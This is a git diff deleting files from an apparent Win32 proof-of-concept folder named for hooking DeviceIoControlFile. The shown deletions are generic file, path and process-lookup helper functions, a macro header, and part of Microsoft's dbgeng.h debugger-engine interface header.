- if (hFile != INVALID_HANDLE_VALUE)
- {
- DWORD dwWritten;
- WriteFile(hFile, pData, DataSize, &dwWritten, NULL);
-
- CloseHandle(hFile);
-
- return TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "Error %d while creating '%s'\n", GetLastError(), lpszFileName);
- }
-
- return FALSE;
-}
-//--------------------------------------------------------------------------------------
-BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize)
-{
- BOOL bRet = FALSE;
- HANDLE hFile = CreateFile(
- lpszFileName,
- GENERIC_READ,
- FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
- NULL,
- OPEN_EXISTING,
- 0,
- NULL
- );
- if (hFile != INVALID_HANDLE_VALUE)
- {
- if (pData == NULL || lpdwDataSize == NULL)
- {
- // just check for existing file
- bRet = TRUE;
- goto close;
- }
-
- *lpdwDataSize = GetFileSize(hFile, NULL);
- if (*pData = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, *lpdwDataSize))
- {
- DWORD dwReaded = 0;
- ReadFile(hFile, *pData, *lpdwDataSize, &dwReaded, NULL);
-
- bRet = TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "LocalAlloc() ERROR %d\n", GetLastError());
- *lpdwDataSize = 0;
- }
-
-close:
- CloseHandle(hFile);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "Error %d while reading '%s'\n", GetLastError(), lpszFileName);
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-char *GetNameFromFullPath(char *lpszPath)
-{
- char *lpszName = lpszPath;
-
- for (size_t i = 0; i < strlen(lpszPath); i++)
- {
- if (lpszPath[i] == '\\' || lpszPath[i] == '/')
- {
- lpszName = lpszPath + i + 1;
- }
- }
-
- return lpszName;
-}
-//--------------------------------------------------------------------------------------
-wchar_t *GetNameFromFullPathW(wchar_t *lpwcPath)
-{
- wchar_t *lpwcName = lpwcPath;
-
- for (size_t i = 0; i < wcslen(lpwcPath); i++)
- {
- if (lpwcPath[i] == L'\\' || lpwcPath[i] == L'/')
- {
- lpwcName = lpwcPath + i + 1;
- }
- }
-
- return lpwcName;
-}
-//--------------------------------------------------------------------------------------
-BOOL IsFileExists(char *lpszFileName)
-{
- BOOL bRet = FALSE;
- WIN32_FIND_DATA FindData;
-
- // enumerate files
- HANDLE hDir = FindFirstFileA(lpszFileName, &FindData);
- if (hDir != INVALID_HANDLE_VALUE)
- {
- bRet = TRUE;
- FindClose(hDir);
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass)
-{
- NTSTATUS ns = 0;
- ULONG RetSize = 0, Size = 0x100;
- PVOID Info = NULL;
-
- GET_NATIVE(NtQuerySystemInformation);
-
- while (true)
- {
- // allocate memory for system information
- if ((Info = M_ALLOC(Size)) == NULL)
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
- return NULL;
- }
-
- // query information
- RetSize = 0;
- ns = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize);
- if (ns == STATUS_INFO_LENGTH_MISMATCH)
- {
- // buffer is too small
- M_FREE(Info);
- Info = NULL;
-
- if (RetSize > 0)
- {
- // allocate more memory and try again
- Size = RetSize + 0x100;
- }
- else
- {
- break;
- }
- }
- else
- {
- break;
- }
- }
-
- if (!NT_SUCCESS(ns))
- {
- DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() fails; status: 0x%.8x\n", ns);
-
- if (Info)
- {
- M_FREE(Info);
- }
-
- return NULL;
- }
-
- return Info;
-}
-//--------------------------------------------------------------------------------------
-BOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen)
-{
- BOOL bRet = FALSE;
-
- // enumerate processes
- HANDLE hSnapProcs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (hSnapProcs != INVALID_HANDLE_VALUE)
- {
- PROCESSENTRY32 Process = { 0 };
- Process.dwSize = sizeof(PROCESSENTRY32);
-
- if (Process32First(hSnapProcs, &Process))
- {
- do
- {
- // match process id
- if (Process.th32ProcessID == dwProcessId)
- {
- strlwr(Process.szExeFile);
- lstrcpy(lpszName, Process.szExeFile);
-
- bRet = TRUE;
-
- break;
- }
- }
- while (Process32Next(hSnapProcs, &Process));
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "Process32First() ERROR %d\n", GetLastError());
- }
-
- CloseHandle(hSnapProcs);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "CreateToolhelp32Snapshot() ERROR %d\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-// EoF
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h
deleted file mode 100644
index eeac1b8a..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.h
+++ /dev/null
@@ -1,54 +0,0 @@
-
-#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_))
-
-#define XALIGN_DOWN(x, align)(x &~ (align - 1))
-#define XALIGN_UP(x, align)((x & (align - 1)) ? XALIGN_DOWN(x, align) + align : x)
-
-#define M_ALLOC(_size_) LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, (ULONG)(_size_))
-#define M_FREE(_addr_) LocalFree((_addr_))
-
-#define GET_NATIVE(_name_) \
- \
- func_##_name_ f_##_name_ = (func_##_name_)GetProcAddress( \
- GetModuleHandleA("ntdll.dll"), \
- (#_name_) \
- );
-
-#define UNICODE_FROM_WCHAR(_us_, _str_) \
- \
- ((PUNICODE_STRING)(_us_))->Buffer = (_str_); \
- ((PUNICODE_STRING)(_us_))->Length = \
- ((PUNICODE_STRING)(_us_))->MaximumLength = \
- (USHORT)wcslen((_str_)) * sizeof(WCHAR);
-
-#define IFMT32 "0x%.8x"
-#define IFMT64 "0x%.16I64x"
-
-#define IFMT32_W L"0x%.8x"
-#define IFMT64_W L"0x%.16I64x"
-
-#ifdef _X86_
-
-#define IFMT IFMT32
-#define IFMT_W IFMT32_W
-
-#elif _AMD64_
-
-#define IFMT IFMT64
-#define IFMT_W IFMT64_W
-
-#endif
-
-#define MAX_STRING_SIZE 255
-
-BOOL LoadPrivileges(char *lpszName);
-BOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize);
-BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize);
-
-char *GetNameFromFullPath(char *lpszPath);
-wchar_t *GetNameFromFullPathW(wchar_t *lpwcPath);
-
-BOOL IsFileExists(char *lpszFileName);
-
-PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass);
-BOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen);
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h
deleted file mode 100644
index 0b42dee3..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h
+++ /dev/null
@@ -1,16165 +0,0 @@
-//----------------------------------------------------------------------------
-//
-// Debugger engine interfaces.
-//
-// Copyright (c) Microsoft Corporation. All rights reserved.
-//
-//----------------------------------------------------------------------------
-
-#ifndef __DBGENG_H__
-#define __DBGENG_H__
-
-#include
-#include
-
-#ifndef _WDBGEXTS_
-typedef struct _WINDBG_EXTENSION_APIS32* PWINDBG_EXTENSION_APIS32;
-typedef struct _WINDBG_EXTENSION_APIS64* PWINDBG_EXTENSION_APIS64;
-#endif
-
-#ifndef _CRASHLIB_
-typedef struct _MEMORY_BASIC_INFORMATION64* PMEMORY_BASIC_INFORMATION64;
-#endif
-
-#ifndef __specstrings
-// Should include SpecStrings.h to get proper definitions.
-#define __in
-#define __in_opt
-#define __in_bcount(x)
-#define __in_bcount_opt(x)
-#define __in_ecount(x)
-#define __in_ecount_opt(x)
-#define __out
-#define __out_opt
-#define __out_bcount(x)
-#define __out_bcount_opt(x)
-#define __out_ecount(x)
-#define __out_ecount_opt(x)
-#define __out_xcount(x)
-#define __inout
-#define __inout_opt
-#define __reserved
-#endif
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-//----------------------------------------------------------------------------
-//
-// GUIDs and interface forward declarations.
-//
-//----------------------------------------------------------------------------
-
-/* f2df5f53-071f-47bd-9de6-5734c3fed689 */
-DEFINE_GUID(IID_IDebugAdvanced, 0xf2df5f53, 0x071f, 0x47bd,
- 0x9d, 0xe6, 0x57, 0x34, 0xc3, 0xfe, 0xd6, 0x89);
-/* 716d14c9-119b-4ba5-af1f-0890e672416a */
-DEFINE_GUID(IID_IDebugAdvanced2, 0x716d14c9, 0x119b, 0x4ba5,
- 0xaf, 0x1f, 0x08, 0x90, 0xe6, 0x72, 0x41, 0x6a);
-/* cba4abb4-84c4-444d-87ca-a04e13286739 */
-DEFINE_GUID(IID_IDebugAdvanced3, 0xcba4abb4, 0x84c4, 0x444d,
- 0x87, 0xca, 0xa0, 0x4e, 0x13, 0x28, 0x67, 0x39);
-/* 5bd9d474-5975-423a-b88b-65a8e7110e65 */
-DEFINE_GUID(IID_IDebugBreakpoint, 0x5bd9d474, 0x5975, 0x423a,
- 0xb8, 0x8b, 0x65, 0xa8, 0xe7, 0x11, 0x0e, 0x65);
-/* 1b278d20-79f2-426e-a3f9-c1ddf375d48e */
-DEFINE_GUID(IID_IDebugBreakpoint2, 0x1b278d20, 0x79f2, 0x426e,
- 0xa3, 0xf9, 0xc1, 0xdd, 0xf3, 0x75, 0xd4, 0x8e);
-/* 27fe5639-8407-4f47-8364-ee118fb08ac8 */
-DEFINE_GUID(IID_IDebugClient, 0x27fe5639, 0x8407, 0x4f47,
- 0x83, 0x64, 0xee, 0x11, 0x8f, 0xb0, 0x8a, 0xc8);
-/* edbed635-372e-4dab-bbfe-ed0d2f63be81 */
-DEFINE_GUID(IID_IDebugClient2, 0xedbed635, 0x372e, 0x4dab,
- 0xbb, 0xfe, 0xed, 0x0d, 0x2f, 0x63, 0xbe, 0x81);
-/* dd492d7f-71b8-4ad6-a8dc-1c887479ff91 */
-DEFINE_GUID(IID_IDebugClient3, 0xdd492d7f, 0x71b8, 0x4ad6,
- 0xa8, 0xdc, 0x1c, 0x88, 0x74, 0x79, 0xff, 0x91);
-/* ca83c3de-5089-4cf8-93c8-d892387f2a5e */
-DEFINE_GUID(IID_IDebugClient4, 0xca83c3de, 0x5089, 0x4cf8,
- 0x93, 0xc8, 0xd8, 0x92, 0x38, 0x7f, 0x2a, 0x5e);
-/* e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628 */
-DEFINE_GUID(IID_IDebugClient5, 0xe3acb9d7, 0x7ec2, 0x4f0c,
- 0xa0, 0xda, 0xe8, 0x1e, 0x0c, 0xbb, 0xe6, 0x28);
-/* 5182e668-105e-416e-ad92-24ef800424ba */
-DEFINE_GUID(IID_IDebugControl, 0x5182e668, 0x105e, 0x416e,
- 0xad, 0x92, 0x24, 0xef, 0x80, 0x04, 0x24, 0xba);
-/* d4366723-44df-4bed-8c7e-4c05424f4588 */
-DEFINE_GUID(IID_IDebugControl2, 0xd4366723, 0x44df, 0x4bed,
- 0x8c, 0x7e, 0x4c, 0x05, 0x42, 0x4f, 0x45, 0x88);
-/* 7df74a86-b03f-407f-90ab-a20dadcead08 */
-DEFINE_GUID(IID_IDebugControl3, 0x7df74a86, 0xb03f, 0x407f,
- 0x90, 0xab, 0xa2, 0x0d, 0xad, 0xce, 0xad, 0x08);
-/* 94e60ce9-9b41-4b19-9fc0-6d9eb35272b3 */
-DEFINE_GUID(IID_IDebugControl4, 0x94e60ce9, 0x9b41, 0x4b19,
- 0x9f, 0xc0, 0x6d, 0x9e, 0xb3, 0x52, 0x72, 0xb3);
-/* 88f7dfab-3ea7-4c3a-aefb-c4e8106173aa */
-DEFINE_GUID(IID_IDebugDataSpaces, 0x88f7dfab, 0x3ea7, 0x4c3a,
- 0xae, 0xfb, 0xc4, 0xe8, 0x10, 0x61, 0x73, 0xaa);
-/* 7a5e852f-96e9-468f-ac1b-0b3addc4a049 */
-DEFINE_GUID(IID_IDebugDataSpaces2, 0x7a5e852f, 0x96e9, 0x468f,
- 0xac, 0x1b, 0x0b, 0x3a, 0xdd, 0xc4, 0xa0, 0x49);
-/* 23f79d6c-8aaf-4f7c-a607-9995f5407e63 */
-DEFINE_GUID(IID_IDebugDataSpaces3, 0x23f79d6c, 0x8aaf, 0x4f7c,
- 0xa6, 0x07, 0x99, 0x95, 0xf5, 0x40, 0x7e, 0x63);
-/* d98ada1f-29e9-4ef5-a6c0-e53349883212 */
-DEFINE_GUID(IID_IDebugDataSpaces4, 0xd98ada1f, 0x29e9, 0x4ef5,
- 0xa6, 0xc0, 0xe5, 0x33, 0x49, 0x88, 0x32, 0x12);
-/* 337be28b-5036-4d72-b6bf-c45fbb9f2eaa */
-DEFINE_GUID(IID_IDebugEventCallbacks, 0x337be28b, 0x5036, 0x4d72,
- 0xb6, 0xbf, 0xc4, 0x5f, 0xbb, 0x9f, 0x2e, 0xaa);
-/* 0690e046-9c23-45ac-a04f-987ac29ad0d3 */
-DEFINE_GUID(IID_IDebugEventCallbacksWide, 0x0690e046, 0x9c23, 0x45ac,
- 0xa0, 0x4f, 0x98, 0x7a, 0xc2, 0x9a, 0xd0, 0xd3);
-/* 9f50e42c-f136-499e-9a97-73036c94ed2d */
-DEFINE_GUID(IID_IDebugInputCallbacks, 0x9f50e42c, 0xf136, 0x499e,
- 0x9a, 0x97, 0x73, 0x03, 0x6c, 0x94, 0xed, 0x2d);
-/* 4bf58045-d654-4c40-b0af-683090f356dc */
-DEFINE_GUID(IID_IDebugOutputCallbacks, 0x4bf58045, 0xd654, 0x4c40,
- 0xb0, 0xaf, 0x68, 0x30, 0x90, 0xf3, 0x56, 0xdc);
-/* 4c7fd663-c394-4e26-8ef1-34ad5ed3764c */
-DEFINE_GUID(IID_IDebugOutputCallbacksWide, 0x4c7fd663, 0xc394, 0x4e26,
- 0x8e, 0xf1, 0x34, 0xad, 0x5e, 0xd3, 0x76, 0x4c);
-/* 67721fe9-56d2-4a44-a325-2b65513ce6eb */
-DEFINE_GUID(IID_IDebugOutputCallbacks2, 0x67721fe9, 0x56d2, 0x4a44,
- 0xa3, 0x25, 0x2b, 0x65, 0x51, 0x3c, 0xe6, 0xeb);
-/* ce289126-9e84-45a7-937e-67bb18691493 */
-DEFINE_GUID(IID_IDebugRegisters, 0xce289126, 0x9e84, 0x45a7,
- 0x93, 0x7e, 0x67, 0xbb, 0x18, 0x69, 0x14, 0x93);
-/* 1656afa9-19c6-4e3a-97e7-5dc9160cf9c4 */
-DEFINE_GUID(IID_IDebugRegisters2, 0x1656afa9, 0x19c6, 0x4e3a,
- 0x97, 0xe7, 0x5d, 0xc9, 0x16, 0x0c, 0xf9, 0xc4);
-/* f2528316-0f1a-4431-aeed-11d096e1e2ab */
-DEFINE_GUID(IID_IDebugSymbolGroup, 0xf2528316, 0x0f1a, 0x4431,
- 0xae, 0xed, 0x11, 0xd0, 0x96, 0xe1, 0xe2, 0xab);
-/* 6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7 */
-DEFINE_GUID(IID_IDebugSymbolGroup2, 0x6a7ccc5f, 0xfb5e, 0x4dcc,
- 0xb4, 0x1c, 0x6c, 0x20, 0x30, 0x7b, 0xcc, 0xc7);
-/* 8c31e98c-983a-48a5-9016-6fe5d667a950 */
-DEFINE_GUID(IID_IDebugSymbols, 0x8c31e98c, 0x983a, 0x48a5,
- 0x90, 0x16, 0x6f, 0xe5, 0xd6, 0x67, 0xa9, 0x50);
-/* 3a707211-afdd-4495-ad4f-56fecdf8163f */
-DEFINE_GUID(IID_IDebugSymbols2, 0x3a707211, 0xafdd, 0x4495,
- 0xad, 0x4f, 0x56, 0xfe, 0xcd, 0xf8, 0x16, 0x3f);
-/* f02fbecc-50ac-4f36-9ad9-c975e8f32ff8 */
-DEFINE_GUID(IID_IDebugSymbols3, 0xf02fbecc, 0x50ac, 0x4f36,
- 0x9a, 0xd9, 0xc9, 0x75, 0xe8, 0xf3, 0x2f, 0xf8);
-/* 6b86fe2c-2c4f-4f0c-9da2-174311acc327 */
-DEFINE_GUID(IID_IDebugSystemObjects, 0x6b86fe2c, 0x2c4f, 0x4f0c,
- 0x9d, 0xa2, 0x17, 0x43, 0x11, 0xac, 0xc3, 0x27);
-/* 0ae9f5ff-1852-4679-b055-494bee6407ee */
-DEFINE_GUID(IID_IDebugSystemObjects2, 0x0ae9f5ff, 0x1852, 0x4679,
- 0xb0, 0x55, 0x49, 0x4b, 0xee, 0x64, 0x07, 0xee);
-/* e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e */
-DEFINE_GUID(IID_IDebugSystemObjects3, 0xe9676e2f, 0xe286, 0x4ea3,
- 0xb0, 0xf9, 0xdf, 0xe5, 0xd9, 0xfc, 0x33, 0x0e);
-/* 489468e6-7d0f-4af5-87ab-25207454d553 */
-DEFINE_GUID(IID_IDebugSystemObjects4, 0x489468e6, 0x7d0f, 0x4af5,
- 0x87, 0xab, 0x25, 0x20, 0x74, 0x54, 0xd5, 0x53);
-
-typedef interface DECLSPEC_UUID("f2df5f53-071f-47bd-9de6-5734c3fed689")
- IDebugAdvanced* PDEBUG_ADVANCED;
-typedef interface DECLSPEC_UUID("716d14c9-119b-4ba5-af1f-0890e672416a")
- IDebugAdvanced2* PDEBUG_ADVANCED2;
-typedef interface DECLSPEC_UUID("cba4abb4-84c4-444d-87ca-a04e13286739")
- IDebugAdvanced3* PDEBUG_ADVANCED3;
-typedef interface DECLSPEC_UUID("5bd9d474-5975-423a-b88b-65a8e7110e65")
- IDebugBreakpoint* PDEBUG_BREAKPOINT;
-typedef interface DECLSPEC_UUID("1b278d20-79f2-426e-a3f9-c1ddf375d48e")
- IDebugBreakpoint2* PDEBUG_BREAKPOINT2;
-typedef interface DECLSPEC_UUID("27fe5639-8407-4f47-8364-ee118fb08ac8")
- IDebugClient* PDEBUG_CLIENT;
-typedef interface DECLSPEC_UUID("edbed635-372e-4dab-bbfe-ed0d2f63be81")
- IDebugClient2* PDEBUG_CLIENT2;
-typedef interface DECLSPEC_UUID("dd492d7f-71b8-4ad6-a8dc-1c887479ff91")
- IDebugClient3* PDEBUG_CLIENT3;
-typedef interface DECLSPEC_UUID("ca83c3de-5089-4cf8-93c8-d892387f2a5e")
- IDebugClient4* PDEBUG_CLIENT4;
-typedef interface DECLSPEC_UUID("e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628")
- IDebugClient5* PDEBUG_CLIENT5;
-typedef interface DECLSPEC_UUID("5182e668-105e-416e-ad92-24ef800424ba")
- IDebugControl* PDEBUG_CONTROL;
-typedef interface DECLSPEC_UUID("d4366723-44df-4bed-8c7e-4c05424f4588")
- IDebugControl2* PDEBUG_CONTROL2;
-typedef interface DECLSPEC_UUID("7df74a86-b03f-407f-90ab-a20dadcead08")
- IDebugControl3* PDEBUG_CONTROL3;
-typedef interface DECLSPEC_UUID("94e60ce9-9b41-4b19-9fc0-6d9eb35272b3")
- IDebugControl4* PDEBUG_CONTROL4;
-typedef interface DECLSPEC_UUID("88f7dfab-3ea7-4c3a-aefb-c4e8106173aa")
- IDebugDataSpaces* PDEBUG_DATA_SPACES;
-typedef interface DECLSPEC_UUID("7a5e852f-96e9-468f-ac1b-0b3addc4a049")
- IDebugDataSpaces2* PDEBUG_DATA_SPACES2;
-typedef interface DECLSPEC_UUID("23f79d6c-8aaf-4f7c-a607-9995f5407e63")
- IDebugDataSpaces3* PDEBUG_DATA_SPACES3;
-typedef interface DECLSPEC_UUID("d98ada1f-29e9-4ef5-a6c0-e53349883212")
- IDebugDataSpaces4* PDEBUG_DATA_SPACES4;
-typedef interface DECLSPEC_UUID("337be28b-5036-4d72-b6bf-c45fbb9f2eaa")
- IDebugEventCallbacks* PDEBUG_EVENT_CALLBACKS;
-typedef interface DECLSPEC_UUID("0690e046-9c23-45ac-a04f-987ac29ad0d3")
- IDebugEventCallbacksWide* PDEBUG_EVENT_CALLBACKS_WIDE;
-typedef interface DECLSPEC_UUID("9f50e42c-f136-499e-9a97-73036c94ed2d")
- IDebugInputCallbacks* PDEBUG_INPUT_CALLBACKS;
-typedef interface DECLSPEC_UUID("4bf58045-d654-4c40-b0af-683090f356dc")
- IDebugOutputCallbacks* PDEBUG_OUTPUT_CALLBACKS;
-typedef interface DECLSPEC_UUID("4c7fd663-c394-4e26-8ef1-34ad5ed3764c")
- IDebugOutputCallbacksWide* PDEBUG_OUTPUT_CALLBACKS_WIDE;
-typedef interface DECLSPEC_UUID("67721fe9-56d2-4a44-a325-2b65513ce6eb")
- IDebugOutputCallbacks2* PDEBUG_OUTPUT_CALLBACKS2;
-typedef interface DECLSPEC_UUID("ce289126-9e84-45a7-937e-67bb18691493")
- IDebugRegisters* PDEBUG_REGISTERS;
-typedef interface DECLSPEC_UUID("1656afa9-19c6-4e3a-97e7-5dc9160cf9c4")
- IDebugRegisters2* PDEBUG_REGISTERS2;
-typedef interface DECLSPEC_UUID("f2528316-0f1a-4431-aeed-11d096e1e2ab")
- IDebugSymbolGroup* PDEBUG_SYMBOL_GROUP;
-typedef interface DECLSPEC_UUID("6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7")
- IDebugSymbolGroup2* PDEBUG_SYMBOL_GROUP2;
-typedef interface DECLSPEC_UUID("8c31e98c-983a-48a5-9016-6fe5d667a950")
- IDebugSymbols* PDEBUG_SYMBOLS;
-typedef interface DECLSPEC_UUID("3a707211-afdd-4495-ad4f-56fecdf8163f")
- IDebugSymbols2* PDEBUG_SYMBOLS2;
-typedef interface DECLSPEC_UUID("f02fbecc-50ac-4f36-9ad9-c975e8f32ff8")
- IDebugSymbols3* PDEBUG_SYMBOLS3;
-typedef interface DECLSPEC_UUID("6b86fe2c-2c4f-4f0c-9da2-174311acc327")
- IDebugSystemObjects* PDEBUG_SYSTEM_OBJECTS;
-typedef interface DECLSPEC_UUID("0ae9f5ff-1852-4679-b055-494bee6407ee")
- IDebugSystemObjects2* PDEBUG_SYSTEM_OBJECTS2;
-typedef interface DECLSPEC_UUID("e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e")
- IDebugSystemObjects3* PDEBUG_SYSTEM_OBJECTS3;
-typedef interface DECLSPEC_UUID("489468e6-7d0f-4af5-87ab-25207454d553")
- IDebugSystemObjects4* PDEBUG_SYSTEM_OBJECTS4;
-
-//----------------------------------------------------------------------------
-//
-// Macros.
-//
-//----------------------------------------------------------------------------
-
-// Extends a 32-bit address into a 64-bit address.
-#define DEBUG_EXTEND64(Addr) ((ULONG64)(LONG64)(LONG)(Addr))
-
-//----------------------------------------------------------------------------
-//
-// Client creation functions.
-//
-//----------------------------------------------------------------------------
-
-// RemoteOptions specifies connection types and
-// their parameters. Supported strings are:
-// npipe:Server=,Pipe=
-// tcp:Server=,Port=
-STDAPI
-DebugConnect(
- __in PCSTR RemoteOptions,
- __in REFIID InterfaceId,
- __out PVOID* Interface
- );
-
-STDAPI
-DebugConnectWide(
- __in PCWSTR RemoteOptions,
- __in REFIID InterfaceId,
- __out PVOID* Interface
- );
-
-STDAPI
-DebugCreate(
- __in REFIID InterfaceId,
- __out PVOID* Interface
- );
-
-//----------------------------------------------------------------------------
-//
-// IDebugAdvanced.
-//
-//----------------------------------------------------------------------------
-
-typedef struct _DEBUG_OFFSET_REGION
-{
- ULONG64 Base;
- ULONG64 Size;
-} DEBUG_OFFSET_REGION, *PDEBUG_OFFSET_REGION;
-
-#undef INTERFACE
-#define INTERFACE IDebugAdvanced
-DECLARE_INTERFACE_(IDebugAdvanced, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugAdvanced.
-
- // Get/SetThreadContext offer control over
- // the full processor context for a thread.
- // Higher-level functions, such as the
- // IDebugRegisters interface, allow similar
- // access in simpler and more generic ways.
- // Get/SetThreadContext are useful when
- // large amounts of thread context must
- // be changed and processor-specific code
- // is not a problem.
- STDMETHOD(GetThreadContext)(
- THIS_
- __out_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
- STDMETHOD(SetThreadContext)(
- THIS_
- __in_bcount(ContextSize) /* align_is(16) */ PVOID Context,
- __in ULONG ContextSize
- ) PURE;
-};
-
-typedef struct _DEBUG_READ_USER_MINIDUMP_STREAM
-{
- IN ULONG StreamType;
- IN ULONG Flags;
- IN ULONG64 Offset;
- OUT PVOID Buffer;
- IN ULONG BufferSize;
- OUT ULONG BufferUsed;
-} DEBUG_READ_USER_MINIDUMP_STREAM, *PDEBUG_READ_USER_MINIDUMP_STREAM;
-
-#define DEBUG_GET_TEXT_COMPLETIONS_NO_DOT_COMMANDS 0x00000001
-#define DEBUG_GET_TEXT_COMPLETIONS_NO_EXTENSION_COMMANDS 0x00000002
-#define DEBUG_GET_TEXT_COMPLETIONS_NO_SYMBOLS 0x00000004
-
-typedef struct _DEBUG_GET_TEXT_COMPLETIONS_IN
-{
- ULONG Flags;
- ULONG MatchCountLimit;
- ULONG64 Reserved[3];
- // Input text string follows.
-} DEBUG_GET_TEXT_COMPLETIONS_IN, *PDEBUG_GET_TEXT_COMPLETIONS_IN;
-
-#define DEBUG_GET_TEXT_COMPLETIONS_IS_DOT_COMMAND 0x00000001
-#define DEBUG_GET_TEXT_COMPLETIONS_IS_EXTENSION_COMMAND 0x00000002
-#define DEBUG_GET_TEXT_COMPLETIONS_IS_SYMBOL 0x00000004
-
-typedef struct _DEBUG_GET_TEXT_COMPLETIONS_OUT
-{
- ULONG Flags;
- // Char index in input string where completions start.
- ULONG ReplaceIndex;
- ULONG MatchCount;
- ULONG Reserved1;
- ULONG64 Reserved2[2];
- // Completions follow.
- // Completion data is zero-terminated strings ended
- // by a final zero double-terminator.
-} DEBUG_GET_TEXT_COMPLETIONS_OUT, *PDEBUG_GET_TEXT_COMPLETIONS_OUT;
-
-typedef struct _DEBUG_CACHED_SYMBOL_INFO
-{
- ULONG64 ModBase;
- ULONG64 Arg1;
- ULONG64 Arg2;
- ULONG Id;
- ULONG Arg3;
-} DEBUG_CACHED_SYMBOL_INFO, *PDEBUG_CACHED_SYMBOL_INFO;
-
-//
-// Request requests.
-//
-
-// InBuffer - Unused.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_SOURCE_PATH_HAS_SOURCE_SERVER 0
-
-// InBuffer - Unused.
-// OutBuffer - Machine-specific CONTEXT.
-#define DEBUG_REQUEST_TARGET_EXCEPTION_CONTEXT 1
-
-// InBuffer - Unused.
-// OutBuffer - ULONG system ID of thread.
-#define DEBUG_REQUEST_TARGET_EXCEPTION_THREAD 2
-
-// InBuffer - Unused.
-// OutBuffer - EXCEPTION_RECORD64.
-#define DEBUG_REQUEST_TARGET_EXCEPTION_RECORD 3
-
-// InBuffer - Unused.
-// OutBuffer - DEBUG_CREATE_PROCESS_OPTIONS.
-#define DEBUG_REQUEST_GET_ADDITIONAL_CREATE_OPTIONS 4
-
-// InBuffer - DEBUG_CREATE_PROCESS_OPTIONS.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_SET_ADDITIONAL_CREATE_OPTIONS 5
-
-// InBuffer - Unused.
-// OutBuffer - ULONG[2] major/minor.
-#define DEBUG_REQUEST_GET_WIN32_MAJOR_MINOR_VERSIONS 6
-
-// InBuffer - DEBUG_READ_USER_MINIDUMP_STREAM.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_READ_USER_MINIDUMP_STREAM 7
-
-// InBuffer - Unused.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_TARGET_CAN_DETACH 8
-
-// InBuffer - PTSTR.
-// OutBuffer - Unused.
-#define DEBUG_REQUEST_SET_LOCAL_IMPLICIT_COMMAND_LINE 9
-
-// InBuffer - Unused.
-// OutBuffer - Event code stream offset.
-#define DEBUG_REQUEST_GET_CAPTURED_EVENT_CODE_OFFSET 10
-
-// InBuffer - Unused.
-// OutBuffer - Event code stream information.
-#define DEBUG_REQUEST_READ_CAPTURED_EVENT_CODE_STREAM 11
-
-// InBuffer - Input data block.
-// OutBuffer - Processed data block.
-#define DEBUG_REQUEST_EXT_TYPED_DATA_ANSI 12
-
-// InBuffer - Unused.
-// OutBuffer - Returned path.
-#define DEBUG_REQUEST_GET_EXTENSION_SEARCH_PATH_WIDE 13
-
-// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN.
-// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT.
-#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_WIDE 14
-
-// InBuffer - ULONG64 cookie.
-// OutBuffer - DEBUG_CACHED_SYMBOL_INFO.
-#define DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO 15
-
-// InBuffer - DEBUG_CACHED_SYMBOL_INFO.
-// OutBuffer - ULONG64 cookie.
